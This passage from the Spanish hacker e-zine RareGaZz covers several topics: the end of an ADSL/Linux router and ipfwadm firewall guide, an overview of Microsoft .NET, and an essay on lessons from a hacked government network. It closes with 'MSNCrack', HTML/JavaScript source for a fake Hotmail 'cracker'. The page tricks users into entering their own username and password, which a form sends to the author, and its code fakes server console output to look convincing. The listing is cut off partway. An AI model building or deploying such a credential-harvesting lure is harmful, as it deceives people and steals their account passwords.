direccion por defecto del gateway provista por el ISP, tendras que ver 20
ms de delay para esta conexion. Ya estas conectado.
5. Configurar un Router
Dependiendo de tu configuracion local, deberas considerar otras cosas.
Esto incluye una configuracion de firewall, y cualquier configuracion(es)
asociadas. Hay un setup, mostrado en la Figura 3, usando una vieja
maquina i486 configurada como firewall/router entre la conexion ADSL y el
resto de las maquinas. Usa direcciones IP privadas de una subnet LAN
Privada, y el router esta configurado para proveer IP Masquerading y
Firewalling entre la LAN y la conexion a Internet. IP_Masquerading-HOWTO
y Firewall-HOWTO para mas informacion. Esto es mas barato que un router
comercial y Linux provee una performance superior en routing/firewalling.
Figura 3: Configuracion de Red SOHO (Small Office HOme)
<-Subnet Privada--> <-Subnet Publica-> <-Linea ADSL--------->
|
X----|
|
X------| X----| |----|
| |--------| | |ADSL| Internet
| | Linux | |-----|ANT |----------> Service
X------|------| System |--------| | | Provider
| E1|(Router)|E0 | |----| Router
| |--------| |
X------| IP_Masq 10baseT
IP_Firewall Hub
Lo que se hizo aqui es configurar un router (Linux RH 5.0 en una i486) con
dos interfaces Ethernet. Una rutea al subnet/gateway del ISP y la otra
soporta un direccion de clase de red privada (p.e. 192.168.2.x). Usando la
direccion de red privada dentras de tu router permite mas seguridad porque
no es directamente obtenible desde fuera de tu ISP. Tienes que
masqueradear explicitamente tus direcciones privadas para conectarte a
Internet. Asegurate de que tu kernel esta compilado con IP forwarding
activado. Chequealo con:
cat /proc/sys/net/ipv4/ip_forward
Valor "1" para encendido, "0" para apagado. Puedes cambiar este valor
echoeando el valor deseado dentro de este archivo.
(p.e.) echo 1 > /proc/sys/net/ipv4/ip_forward
Activara el forwarding.
6. Configurando Firewall/Masquerading
Si tienes una conexion directa a Internet, querras activar Firewall
Administration y Masquerading. Ver Figura 4.
Esto es solo una parte de las consideraciones que deben ser tenidas en
cuenta cuando se quiere desarrollar un entorno seguro. Otras consideraciones
incluyendo denegacion de servicios como ftp, telnet y otros en el Router,
asegurar passwords, login, etc. para tu entorno son descriptas en el
Security-HOWTO.
Figura 4: Firewall/Masquerading para ADSL
|-------| |-------| |-X
======X| ADSL |=------| Linux |-----|
Linea | ANT | E0| |E1 |-X Red Privada
ADSL |-------| |-------| | (ej. 192.168.2.x)
<-------> |...
ISP Subnet o host
(Direccion de Red Publica)
El kernel para el router Linux esta compilado para IP forwarding /
masquerading y tiene el "ipfwadm" (software IP firewall) instalado con las
siguientes opciones:
file: /etc/rc.d/rc.firewall (llamado por rc.sysinit en RH5.0)
echo "Configurando el firewall"
#
# Del "Firewall-HOWTO"
#
# flushes all setting
#
ipfwadm -F -f
#
# set the firewall
#
ipfwadm -F -p deny
#
# allow any machine with address 192.168.2.x to masquerade.
#
ipfwadm -F -a accept -m -S 192.168.2.0/24 -D 0.0.0.0/0
#
# allow the domain name server to work (udp 53)
#
ipfwadm -F -a accept -b -P udp -S 0.0.0.0/0 53 -D 192.168.2.0/24
ipfwadm -F -p masquerade
#
# el resto solo lista las opciones para tu entretenimiento
#
ipfwadm -F -l
ipfwadm -O -l
ipfwadm -I -l
Esta es una configuracion simple para ahorrar recursos. Espero te sea util.
Sugerencias etc etc > schyzophrenia@gmx.net
> Thx a ReYDeS y RareGaZz Team
Argentina - 19.01.02
7. Referencia:
[1] ADSL HOWTO for Linux Systems
David Fannin, dfannin@dnai.com
v0.90, 7 June 1998
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_06 Hasta donde quieres llegar hoy? .NET Colaborador
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Hola a todos los lectores de RareGaZz... esta es la 1ra vez que escribo en
la revista como colaborador.
Aunque esta revista es mas una revista de seguridad, en esta oportunidad les
hablare un poco sobre desarrollo, especificamente de lo que se trata la
plataforma .NET de Microsoft. Este es un articulo especialmente dirigido a los
developers con nuevas tecnologias Microsoft. Aca vamos:
Porque .NET?
La Vision de Microsoft
Interoperabilidad con XML
Que es .NET Framework
Componentes basicos de NET
NET Classes
Web Services
Common Language Runtime (CLR)
Assemblies
Arquitectura del .NET Framework
Grafico de la arquiectura
Web Services y B2B
Como se intrega con .NET
Biztalk Server
Cambios en el Lenguaje
Entorno de VStudio.NET
De VB6 a VB.NET
Despedida
Porque .NET?
============
La vision de MS
---------------
El porque Microsoft realizo un cambio radical en sus tecnologias de
desarrollo, y en general en su vision acerca de ver el software es debido a
que internet es cada vez mas comun...por esto Microsoft se debio "actualizar"
en lo que se refiere a sus herramientas de desarrollo.
"Informacion en cualquier momento, en cualquier lugar desde cualquier
dispositivo".. esa es la vision que Microsoft quiere alcanzar con su nueva
tendencia hacia el software y con la plataforma .NET.
Interoperabilidad con XML
-------------------------
Los estandares usados para el intercambio de datos, sobre todo en internet y
las transmisiones ha sido una de las caracteristicas mas importantes ahora
disponibles en .NET. Digamos que ahora las nuevas aplicaciones de escritorio
o web podran comunicarse con aplicaciones basadas em Linux, Unix, Mac, etc.
Porque? pues porque ahora la base de las tecnologias de desarrollo de
Microsoft (.NET framework) usan estos estandares de internet, ya no mas se usa
COM, COM+, DCOM, entre otras tecnologias propietarias.
Como ejemplo, digamos que una aplicacion web o de escritorio (bajo windows)
de una tienda desea pasar una orden de pedido al sistema del distribuidor
(bajo Linux)...pues si por ejemplo pasara esta informacion mediante un objeto
recordset, seria imposible la comunicacion (o muy dificil). Esto se debe a que
los objetos recordset al ser transmitido lo hace como datos binarios bajo un
formato que solo Microsoft sabe, osea un formato o tecnologia Propietaria.
Ahora, si usaramos el .NET Framework, se usaria un objeto DataSet, recordset.
Este dataset es un tipo de dato propio del Framework, creado para funcionar
con .NET. Este tipo de datos esta basado en estandares (XML). Esto permite que
al ser transmitido de aplicacion en aplicacion, lo que haga sea tramitir
XML... y como todos sabemos XML es aceptado por todas las plataformas.
Esto es lo genial de .NET...! multiplataforma, multilenguaje, multithreading,
entre otras.
Que es .NET Framework
=====================
Componentes basicos de .NET
---------------------------
.NET se basa en 3 cosas: el CLR, .NET classes y los Web Services (estos
ultimos son el futuro!!)
.NET classes
------------
el .NET framework ofrece una cantidad increible de librerias con las cuales
se puede comenzar a trabajar comodamente sin dificultades. Estas librerias
van desde poner un caja de dialogo de saludo al usuario hasta acceder a los
configuraciones de red y conexiones del servidor.
Ahora las librerias son comunes para todos los lenguajes de programacion...
Por ejemplo antes, con Visual Studio 6, si se programaba en Visual Basic, se
debia usar los controles que alli se ofrecian, si se queria hacer algo mas
avanzado como trabajar con puertos de comuncaciones, de red etc, se debia usar
controles ActiveX personalizados, etc. Si se programaba en Visual C++, se
debia usar el MFC (las clases del fundation Class para VC++). Si se programa
en J++, igualmente se debia programar como las clases disponible que
Microsoft brindaba para este lenguaje. En conclusion se debia de aprender a
usar un conjunto de librerias para programar en cada lenguaje.
Las librerias o clases .NET ahora son las mismas y son usadas en todos los
lenguajes que ofrece Visual Studio.NET. Esto hace que los lenguajes como
visual Basic, Visual C++ y otros, tengan todos el mismo potencial o "poder"
para desarrollar aplicaciones. Era comun escuchar: "En VB no se puede, debes
usar VC++". Con el .NET framework y sus librerias comunes todos los lenguajes
tienen el mismo potencial. La eleccion del lenguaje ahora sera por comodidad
del desarrollador.
Web Services
------------
Los web services se definen como un conjunto de funciones que estan
disponibles en la web para cualquier usuario, mediante protocolos estandares.
En otras palabras, como si llamaramos a un metodo, por ejemplo: Sumar, cuya
implementacion esta disponible en cualquier parte del mundo. Con los
componenes COM y MTS se podia acceder a funciones pero dentro de una LAN, con
los Web services, se puede acceder a funciones desde cualquier lugar del
mundo.
Al ser llamadas estas funciones (web services) desde una aplicacion, Lo que
estas funciones hacen es transmitir una definicion XML de la funcion, como si
la funcion hubiera sido programada en XML...osea se convierte el codigo fuente
de la funcion a su equivalente en XML...esta trama que se transmite viaja a
traves de HTTP en un paquete llamado SOAP, que contiene la trama.
CLR (Common Language RunTime)
-----------------------------
Bajo la plataforma .NET el CLR viene a ser una pieza clave....el motor central
de funcionamiento. El CLR es el equivalente a la maquina virtual de Java
(JVM).. es decir es el motor que compila y ejecuta las aplicaciones .NET.
El CLR compila y ejecuta codigo MSIL segun la plataforma. El codigo MSIL
(Microsoft Intermediate Language) es un lenguaje intermedio que se ejecuta
segun la plataforma.. la misma estrategia que Java tiene con sus byte-codes.
La diferencia es que Java solo interpreta los bytes-codes, mientras que el CLR
compila, genera un executable especifico para la plataforma.
De esta manera se podra tener un sin numero de lenguajes de programacion que
se ejecuten bajo el CLR. Lo unico que se requiere para que un lenguaje corra
bajo el entorno .NET y el CLR es que cumpla con los especificaciones del .NET
llamado CLS (Common Language Specification) que son un conjunto de
requerimientos y caracteristicas que debe cumplir un lengujae para que sea
compatible con .NET y pueda ejecutarse bajo el CLR, esta caracteristicas
incluyen: tipos de datos soportados, manejo de memoria, etc.
Debido a esto, todos los lenguajes de programacion tendran lo mismos tipos de
datos, lo que simplifica la tarea de un programador. A esta especificacion
comun de tipos se le denomina: CTS (Common Type Specification).
Por todo esto se dice que .NET es independiente del lenguaje, dejando esto a
criterio del programador
Assemblies
----------
Los assemblies vienen a ser los componentes .NET, es decir los DLLs que corren
como codigo manejado en el entorno del CLR.
Un assembly, a diferencia de un componente COM, es autodescriptivo, en otras
palabras, contiene metadata que describe completamente al componente .NET.
De esta manera, ya no es necesario registrar en componente en el Registro de
windows. Esto que quiere decir, que sera poco probable quebrar una aplicacion
que usa DLLs registrados en el Registry. Suponganse que se instala una
aplicacion que usa el DLL llamado A.DLL y que luego se instala otra aplicacion
que usa otro DLL con el mismo nombre, pero que contiene otra funcionalidad.
Entonces luego de instalar ambas aplicaciones, la primera es muy probable que
no funciona correctamente. Las dependencias de las aplicaciones con los
componentes DLL registrados en el registry de windows siempre ha sido un
problema que Microsoft le ha llamado: El infierno de las DLLs".
La estrategia para resolver este problema en .NET son los assemblies, que
contiene como metadata toda la informacion que antes se almacenaba en el
registry. De esta manera no se necesita registrar un assembly, simplemente se
copia y nada mas! Esto hace mas facil la distribucion. A esto se le llama
distribucion XCOPY .
Entonces, lo que contiene un assembly en su core es: Metadata (lo que antes
estaba en el registry), MSIL (codigo intermedio que contiene la
funcionalidad), recursos (archivos de image y otros assemblies que el
componente utilice)
Arquitectura del .NET Framework
===============================
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
| .NET Framework |
| --------------- ------------- ------------- |
| ASP+/WebForms | | Web Classes | | WinForms |
| --------------- ------------- ------------- |
| ---------------------------------------------------- |
| Services Framework |
| | ------------------------------------------------ | |
| | System | Data | Debug | and more... | |
| | ------------------------------------------------ | |
----------------------------------------------------
| |
----------------------------------------------------
| | Common Language Runtime | |
----------------------------------------------------
| ==================================================== |
| System Services |
| ==================================================== |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
El grafico anterior, hecho por el amigo ReYDeS, muestra como .NET se
estructura. Vemos que las partes claves son el CLR, los base classes (Services
Framework) y los web services, basados en ASP.NET.
La forma en que el CLR ejecuta el codigo es la sgte:
Compilacion
---------
| | ------------
| Code | ====> | Compiler |
| ..../ ------------
.../ |
|
V
-------- --------
| | | |
| IL | |Metadata|
| .../ | .../
.../ .../
|
|
V
--------------
| JIT Compilar |
--------------
|
V
--------------
| Execution |
--------------
- El codigo fuente es transformado a un assembly que servira de base para la
ejecucion por parte del CLR.
- El CLR toma el aseembly, lo analiza, coge la metadata para resolver alguna
referencia y con el MSIL encapsulado en el assembly, compila y ejecuta un
ejecutable segun la plataforma.
Source --------- --------- ---------
code | VB | | C# | | C++ |
--------- --------- ---------
--------- --------- --------- -----------
| Compiler| | Compiler| | Compiler| ----->| Unmanaged |
--------- --------- --------- | Component |
V V V -----------
--------- --------- --------- |
Managed |Assembly | |Assembly | |Assembly |
code |IL code | |IL code | |IL code | |
--------- --------- ---------
| | | |
V V V
----------------------------------- |
| Common Language Runtime |
| ----------------- | |
| | JIT Compiler | |
| ----------------- | |
-----------------------------------
| |
V
-------------------- |
| Native Code |
-------------------- V
-------------------------------------------------------
| Operating System Services |
-------------------------------------------------------
Web Services y B2B
==================
Los Web Services son lo que para muchos mas les atrae de la arquitectura .NET.
Tecnicamente un Web Service se define como un conjunto de funcionalidades
disponibles a traves de protocolos estandares de internet (HTTP.SOAP) y en un
formato entendible por todos (XML).
La idea de los web services es brindar el software como un servicio. Por ejm:
el servicio Passport de validacion de usuarios. Passport es un web services
disponible en uno de los servidores de Microsoft, que es usado por Hotmail y
por otros sites para mantener una "base de datos" global de usuarios.
Esta idea de software como servicios, es como dije antes, integrar sites,
aplicaciones web para de esta manera entrar al llamado B2B (Businness To
Bussiness).
El B2B tiene el beneficio de integrar aplicaciones para internet para generar
una era de comercio electronico mucho mas confiable y poderosa.
Los web services hacen esto posible, poniendo "componentes web" disponibles
en la web para ser accesados mediante protocolos de descubrimiento o
interfaces UDDI (como un buscador de web services programable con VS.NET).
Supongamos que se tiene un supemarket cuyo proveedores le brinda mercaderia.
Si el supermarket se queda sin stock en uno de sus productos, normalmente la
persona encargada del sistema hara una orden de pedido, la imprimira o se la
enviara por email al proveedor.
La persona encargada en el proveedor recibira esta peticion, la ingresara al
sistema y se procesara la orden. Como ven este pedido se proceso separadamente
en el supermarket y en el proveedor, no hay integracion.
Si usamos web services basados en XML, el supermarket invocaria a una funcion
del sistema del proveedor para hacer el pedido, sin necesidad de interaccion
humana. El sistema podria verificar el stock minimo y segun eso invocar al web
service del proveedor.
Incluso, si se quiere tener un entorno mas empresarial, se puede usar Biztalk
Server, el cual engloba en una sola transaccion "multi-site" el pedido y el
proceso del pedido en el proveedor, como un MTS pero atraves de internet.
Biztalk server puede entonces integrar procesos de negocio a traves de
multiples organizaciones.
Con Biztalk server y sus herramientas podemos mapear documentos XML desde un
cliente (supermarket) a un proveedor, podemos dise~ar un diagrama UML
(diagrama de secuencia) sobre el cual se puede incorporar funcionalidad a cada
proceso representado en el diagrama. A estos diagramas se le llaman XLANG
Schedule. Estos diagramas se compilan y se ejecutan como un proceso global
multi-organizaciones.
Entonces, como vemos, con Biztalk , hacemos nuestro modelo de proceso con
diagramas UML, espeficamos que en tal o cual subproceso se ejecute determinada
funcionalidad que tenemos (Activex Control, Windows Scripting, DLL, Web
services, etc). Luego se compila y luego se ejecuta, y ya esta.
El mapeo de documentos se realiza para hacer entendibles los diferentes
formatos entre organizaciones. Por ejemplo, si el supermarket envia su orden
de pedido a traves de un web service en un documento XML con una determinada
estructura. Como es que esta estructura XML sera entendido por el proveedor?
Pues no podra, al menos que se mapee y transforme de una estructura XML a
otra. Esto mediante XLST.
Cambios en el lenguaje
======================
Mejoras en IDE:
---------------
Entre las principales mejoras en el IDE de Visual Studio.NET tenemos:
- Ahora es integrado: un solo IDE para todos los lenguajes.
- Puede mostrar codigo assembler de modulos.
- Puede mostrar mapa hexadecimal de memoria de la aplicacion.
- Server explorer (donde puede navegar en todos los servidores de tu intranet,
como el MMC: Microsoft Management Console).
- Class view: donde se puede ver en una estructura de objetos jerarquica los
elementos que conforman tu aplicacion.
- Ventana de codigo desplegable.
- Asistente para creacion de DataSets.
- Asistente para creacion de DatAdapters.
- Asistente para creacion de Connections.
- Manejo de errores a nivel del IDE.
- Editor Macro.
- Database diagram.
- Editor de imagenes.
- Entre muchas otras.
De VB6 as Vb.NET
----------------
Tambien tenemos las mejoras en el lenguaje Visual Basic:
* Todos los tipos de datos son objetos, debido a esto no existe mas el tipo
Variant. Si se quiere declarar una variable generica se debe declarar como
objeto generico: tipo Object.
* No existe mas el tipo Currency. El tipo a usar en vez de este es Decimal.
* Existen mas tipos de datos numericos: int16, int32, int64.
* No se pueden declarar Strings de longitud fija. Ejm:
En VB 6:
Dim Cad as String * 40
En VB.NET debe ser:
Dim Cad as New String (" ",40)
Esto debido a que, como se dijo en un principio todos los tipos de datos son
objetos.
* Manejo de errores estructurado: ya no mas uso On Error GOTO... la forma
estructurado y correcta de manejar errores en .NET es con las instruccion
Try..Catch ...Finally. Para los conocedores de Java esto les sonara
familiar.
* Para disparar errores a un nivel superior de la aplicacion ya no se usa
err.Raise; se usa Throw.
* Todos los parametros de una function o procedimiento son ahora por defecto
ByVal y no ByRef como antes.
* Para instanciar objetos no es necesario usar SET.
* Se puede usar la palabra Return para devolver un valor de una function.
Tambien se puede usar el nombre de la funcion (como en VB 6).
* Soporte de constructores multiples parametrizados.
* Herencia multilenguaje: Inherits, MustInherits.
* Herencia multiple a nivel de interfaces.
* Sobrecarga de funciones.
* La forma de declarar propiedades de un componente ahora es:
Property [ReadOnly|WriteOnly] <nombre_de_propiedad>
Get
....
End Get
Set
....
End Set
End Property
Ya no hay Let.
* Muchos nuevos controles: NotifyIcon, NumericUpDown, DomainupDown, etc.
* Controles para WebForms: CompareValidator, DomainValidator, etc.
* Soporte de funciones de Delegates en reemplazo de CallBacks.
* Funciones Friend, Private, Shared, Protected, Public.
* Soporte de Threads.
* Documentacion XML (solo pra C#).
* Configuracion de aplicaciones web via el archivo Web.Config (que reemplaza
al metabase de IIS).
* Y muchas otras mas.
Despedida
=========
Bueno, esto ha sido una breve rese~a de la estrategia .NET, que Microsoft ha
lanzado para el soporte de aplicaciones de ultima generacion, y de seguro
seguira promocionando.
Espero les haya dado una idea de lo que es .NET.
NOTA: 'ascii art' by ReYDeS.
" ReYDeS: Y la seguridad donde queda se~or?
Colaborador: Hay que confiar en la gente...
ReYDeS: >:)
Colaborador 8-) "
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_07 De errores se aprende...
Seguridad Fantasma
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Mucho se ha hablado en materia de seguridad informatica en estos ultimos a~os,
sin embargo lo que pude observar es que la mayoria de los ejemplos son solo
practicos. Si bien la practica hace al maestro creo que siempre es necesario
que este acompa~ada de una teoria por mas basica que esta sea de esta manera
se podra mantener una base para toda la practica. A continuacion les voy a
contar una serie de experiencias que tuve hace unos a~os, fueron mis primeros
pasos en tratar de encontrar alguna metodologia relacionada con la materia de
seguridad informatica. Sin mas que decir como introduccion paso a relatarles
mis experiencias y poco a poco los voy a ir introduciendo en una metodologia
de analisis y gestion de riesgos, que si bien no es metodologia de seguridad
informatica completa, abarca la primera y mas importante etapa de la misma.
Hace un par de a~os comence a trabajar en una organizacion de la
administracion publica. Dicha organizacion tenia una red compuesta por 6
servidores todos con NT y aproximadamente 120 maquinas con Win 95/98 como
sistema operativo. Era una red local que no tenia acceso al exterior. Todos
los servidores se hallaban ubicados en una misma sala (sala de sistemas
ubicada en el primer piso) y las maquinas con win 95/98 dispersas a lo largo
de la red, teniendo acceso el publico solo a 10 maquinas.
Lo primero que me llamo la atencion en dicha red era el uso de usuarios
genericos por los casi 130 empleados, o sea, los unicos usuarios existentes
era el admin., consulta1, consulta2.
He aqui la primera observacion "una falta de definicion de politica de
usuarios y especificacion de privilegios (vulnerabilidad)" lo que traia
aparejado que usuarios poco experimentados o malintencionados (Amenaza
perteneciente al grupo de Errores o Amenaza Intencional Presencial en el
segundo caso) modificaran o borraran archivos (lo que producia un determinado
impacto sobre el activo informacion) y ni que hablar de poder determinar cual
fue realmente el usuario que realizo dicha accion (llamada "auditoria" en
sentido amplio, ya que esta palabra abarca mucho mas).
La "medida" que se tomo fue la definir y crear distintos grupos de usuarios
de acuerdo a las necesidades especificas de cada grupo, de esta manera cada
usuario solo tendria los privilegios basicos y necesarios para desempe~ar su
funcion.
Sin embargo esto trajo aparejado un rechazo por parte de los usuarios, cosa
comun en las organizaciones de la administracion publica. Esto se debe a que a
los usuarios no les gusta sentirse controlados.
Otros de los problemas comunes que se presentaban en la organizacion eran los
virus (amenaza intencional de origen remoto), al no existir antivirus en
ninguna maquina (vulnerabilidad) era frecuente el mal funcionamiento de los
programas y la modificacion y /o perdida de informacion como consecuencia
directa (impacto sobre la informacion).
Este problema pudo solucionarse temporalmente instalando antivirus en las
maquinas en cuestion. Decimos temporalmente ya que este problema se volveria a
presentar al poco tiempo ya que los antivirus quedaron desactualizados (en el
ambiente informatico es comun dar una solucion transitoria y olvidarnos de la
solucion definitiva). La solucion al problema anterior hubiera consistido en
definir una "politica de actualizacion de los antivirus" (la consigna es
"siempre al dia").
Al transcurrir un tiempo nos llego la orden de instalar y mantener un servidor
web que permita brindar a usuarios publicos la posibilidad de realizar
consultas on-line, (estariamos en Internet con nuestro propio servidor). Sin
embargo no todo iba a ser color de rosa, como toda administracion publica
tiene un presupuesto limitado nosotros no ibamos a ser la excepcion a la
regla. Deberiamos armarlo con los recursos que contaramos, eso queria decir
que no ibamos a poder contar ni siquiera con el asesoramiento de nadie en
materia de seguridad.
Lo primero que se realizo fue el desarrollo del sitio en ASP (creo que no
requiere mayor explicacion) configurando el IIS e instalandolo sobre NT.
Despues de haber realizado las primeras pruebas de funcionamiento el sitio
fue puesto en Internet. Si, aunque no lo crean tal cual se realizo la primera
prueba se lo puso con acceso a todo el mundo, cuando digo a todo el mundo es
porque realmente estaba para todo el mundo y no solo para realizar consultas
on-line.
Segunda observacion, se deberia realizar por lo menos "un analisis de riesgos
inicial" para cualquier proyecto que se vaya a realizar de manera de llegar a
conocer a que nos podemos llegar a enfrentar.
Con el paso de los primeros dias tuvimos los primeros indicios de que algo
andaba mal, en los logs del servidor aparecian maquinas que no pertenecian a
nuestro dominio(ver grupo de trabajo) que llamaron la atencion de nuestro
administrador de redes pero no lo suficiente como para realizar un analisis
exhaustivo de los mismos o para generar alarma. El error por nuestra parte
fue el de no haber definido una "politica de control y revision de los logs"
en forma periodica lo cual nos hubiera dado una idea de lo que realmente
estaba pasando.
Al cabo de unos dias sucedio lo inevitable, al intentar ingresar al sistema
este rechazaba la cuenta del administrador (habian levantado la Sam del mismo
con lo cual habian obtenido la contrase~a del admin., se habia modificado y
dado de baja la cuenta del administrador de redes). Habiamos sido
hackeados!!!.
Estuvimos fuera de servicio un dia entero tratando de hacer funcionar todo de
nuevo ( en el caso nuestro al estar en fase de prueba esto no nos afecto mucho
pero lo aconsejable hubiera sido el haber definido una "serie de medidas
curativas y restablecedoras que formaran parte de un plan de contingencia"),
inclusive perdimos el trabajo de todo un mes en el desarrollo y depuracion del
sitio Web. ( Deberiamos haber tenido un backup diario del mismo, si ese backup
que uno se olvida de realizar cuando lo necesita, esto sucedio debido a que no
se definio una "politica de backups o respaldos").
Tercera observacion, siempre que sucede algun incidente sobre todo de
seguridad informatica es vital e importante el "revisar detenida y
detalladamente todo lo que ocurrio", es asi que despues de una semana nos
dimos cuenta pasando un antivirus que habian dejado una backdoor en uno de los
servidores.
La odisea continua, despues de los primeros incidentes se decidio implementar
un firewall en una maquina con Linux (basados en la poca experiencia que
teniamos en esto se contrato a un "especialista"). Pero la tranquilidad nos
duro menos de una semana, nos volvieron a hackear!! aprovechando el puerto 80
pasaron por alto el firewall y usando distintas vulnerabilidades del IIS nos
modificaron/destruyeron nuevamente el sitio web (obviamente no habiamos
cumplido con la consigna de "siempre al dia").
Esta vez demoramos poco menos de unas horas para volver a poner en
funcionamiento al sitio web gracias a las copias de seguridad que teniamos
(esta leccion si la aprendimos).
Pero, siempre hay un pero, revisamos los logs del IIS para ver que
vulnerabilidades habian utilizado, las encontramos, investigamos en la web y
las corregimos. Sin embargo volvimos a equivocarnos ("no las documentamos!!!",
en nuestro ambiente siempre tendemos a pensar que podemos recordar todos los
pasos y todas las cosas...). Con el paso de unos meses se decidio realizar una
instalacion limpia del servidor ya que tenia unos problemas. Con la
instalacion limpia no solo arreglamos esos problemas sino que ademas volvimos
a introducir vulnerabilidades que ya habiamos corregido. El servidor estuvo
funcionando casi un mes de esa forma, no se si ya estaban aburridos de jugar
con nosotros o realmente nos perdonaron pero ese mesa no ocurrio nada. A
partir de ese momento nos dimos cuenta de la importancia que tiene una buena
"politica de documentacion o en su defecto una buena memoria ;-)".
Hasta aqui hemos mencionado las amenazas mas comunes que por lo general son
conocidas por la mayoria de las personas del ambiente informatico, sin embargo
existen otros tipos de amenazas que de presentarse pueden llegar a tener
impactos muchos mas profundos sobre los activos de nuestra organizacion que
las anteriores. Entre estas amenazas tenemos las que pertenecen a los
accidentes. Cierta vez trabajando en el area sistema dejo de funcionar el aire
acondicionado central (Interrupcion de servicios o suministros esenciales) que
se encontraba en el piso inferior al area de sistemas, al tener 7 servidores y
10 maquinas en un ambiente cerrado y no haber aire acondicionado la
temperatura de la sala subio tanto que se podia andar en pantalon corto y
musculosa siendo que el resto del a~o(invierno y verano) nos encontramos a 10
grados C. Todos sabemos que las altas temperaturas pueden ser fatales para los
equipos, si bien esto es un incidente chico no debemos restarle importancia.
Lo que no sabiamos era que el aire acondicionado habia dejado de funcionar por
un cortocircuito que habia generado un peque~o incendio que se apago por no
haber materiales combustibles alrededor del mismo.
Solo Dios sabe lo que hubiera pasado si el incendio (Accidente de origen
industrial) se hubiera extendido a otras partes del edificio, mas alla de que
hubiera habido perdida humanas o no , el da~o a la organizacion hubiera sido
catastrofico sabiendo lo dificil que hubiera sido evacuar los equipos
(estabamos en un primer piso, sabiendo que los backups( que habiamos aprendido
a realizar) estaban todos en el armario que, si aunque ustedes no lo crean,
estaban en la sala de sistemas ( o sea lo mismo que nada siendo que deberian
estar en una caja fuerte ignifuga en otro sitio), sabiendo que los extintores
que habian estaban vencidos o no eran del tipo adecuado a fuego electrico.
Lo que decidimos hacer fue implementar "una politica de backups mucho mas
completa", se "aislo el area de sistemas, se la traslado a un edificio
aparte".
Todas estas experiencias fueron aprendidas como quien dice a ponchazos o sea
"in situ".
En resumen, en cuanto a materia de seguridad informatica nuestras
organizaciones publicas o privadas dejan mucho que desear y nunca esta dicha
la ultima palabra.
Lo aconsejable seria definir una politica de seguridad de acuerdo a las
necesidades de los activos de la organizacion, esta politica nos va permitir
definir una gestion de seguridad de acuerdo a nuestros requerimientos. Este
plan debera basarse siempre en un analisis y gestion de riesgos siendo esta
una fase muy importante. Todo esto deberia basarse en alguna metodologia ya
que si bien no nos garantiza un 100% de seguridad nos va a permitir
encaminarnos.
Pero en que consiste una Gestion de Seguridad?, es el plan mayor que esta
compuesto por varias fases. Siendo la primer fase la determinacion de
objetivos, estrategia y politica de seguridad para poder pasar luego a una
fase de analisis y gestion de riesgos, ( no esta demas recordar que esto puede
ser bidireccional, o sea partir de un analisis y gestion de riesgos para
poder determinar objetivos, estrategias y politica de seguridad). Las etapas
siguientes a esta son el establecimiento de la planificacion de la seguridad,
la implantacion de medidas de seguridad y la monitorizacion, gestion de
configuracion y cambios en la seguridad.
Por ahora esto es todo ya que por cuestiones de tiempo y trabajo no pude
escribir mas. Proximamente seguire explicando la primera parte de la
metodologia en la cual voy a preparar mas ejemplos.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_08 MSNCrack by Urville Cracking HeX
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Saludos de nuevo lectores de mis codigos, ahora tengo el agrado de
presentarles uno de mis juguetitos de Javascript, se trata del MSNCrack.
Como todos saben, es pregunta universal el 'como hackeo una cuenta de
Hotmail?', mas de alguna vez todos nos hemos preguntado eso. Por diversas
razones que no escribire, ustedes las conocen.
Y bien para contestar esta pregunta, me puse a trabajar al respecto.
Observe que muchos 'hackers' daban instrucciones de manda un mail a
'admin@hotmail' con tu cuenta, password y la cuenta que quieres obtener.
Claro, como si fuera asi de facil. Entonces se me ocurrio porque no tomar
esa idea y hacerla grafica y mas creible.
Primero pense que con ella podia conseguir cuentas, pero acaso soy un
lammer cualquiera?. Claro que no, soy respetable para hacer eso?.
Entonces que hacer con esto?. Facil, cazar lammerz, suena divertido. Asi
que el MSNCrack lo desarrolle en un archivo HTML con javascript y una form
hacia Melodysoft (Esta compa~ia ofrece una forma de mail gratitua y muy
practica). Ya habia usado con anteriodidad esta forma, en mis webs, por lo
que no me fue problema dise~arla. Y bueno aqui esta la explicacion del
codigo.
<html>
<head>
<title>||| MSN Messenger crack by Urville |||</title>
<base target="comm">
<script>
/* Se declaran variables, y se 'crea' el objeto 'Passport.Terminal', solo para
los curiosos en el codigo */
var fr, dt, st, lo;
lo = 'new ActiveXObject(Passport.Terminal)';
st = "0";
fr = '<html><head></head><body style="background-color: black; color: #999999;
font-family: system; font-size: 10px, font-weight: bold;"><blockquote>';
dt = '';
/* Esta funcion, junto con ch(), checan que todos los campos sea llenados. */
function chk(n1, n2, nt1){
ch(n1,'Your User');
ch(n2,'Your Password');
ch(nt1,'Target User');
st = "1";
}
function ch(id,nam){
if (id.length == 0){
alert('Please fill this:\n'+nam);
}
}
/* Este es el primer paso, escribe en la consola de abajo que se acaba de
conectar e intenta entrar un nuevo password a la cuenta victima. Es el boton
'Step 1' */
function s1(n1, n2, nt1, ser){
n1 = n1.toLowerCase()+ser;
n2 = n2.toLowerCase();
nt1 = nt1.toLowerCase()+ser;
if (st == "1"){
st = "2";
dt = fr+'CON 0x0001 services.msn.com<br>RET 0x0002 !Welcome to MSN
Services<br><br> !Microsoft Passport Server<br> !Please log in<br>HEL 0x0003
localhost<br>USR 0x0004 '+n1+'<br>PAS 0x0005 '+n2+'<br>!Log
succesful<br>!Write command or HELP<br>CHP 0x0006 '+nt1+'<br>PAS
0x0007<br>!Sorry, wrong password. Try again<br>';
comm.document.write(dt);
comm.document.close();
}
else
alert('Wrong Step');
}
/* Continua, y manda un mensaje que se forzo la cuenta y se 'logro' cambiar el
password */
function s2(nt1, ser){
nt1 = nt1.toLowerCase()+ser;
if (st == "2"){
st = "3";
dt += 'FRC 0x0008 admin+'+nt1+'<br>!Account forced<br>FRC 0x0009
sys+'+nt1+'<br>!Type a new password<br>';
comm.document.write(dt);
comm.document.close();
}
else
alert('Wrong Step');
}
/* Cambia el password y se desconecta del servidor */
function s3(n2){
n2 = n2.toLowerCase();
if (st == "3"){
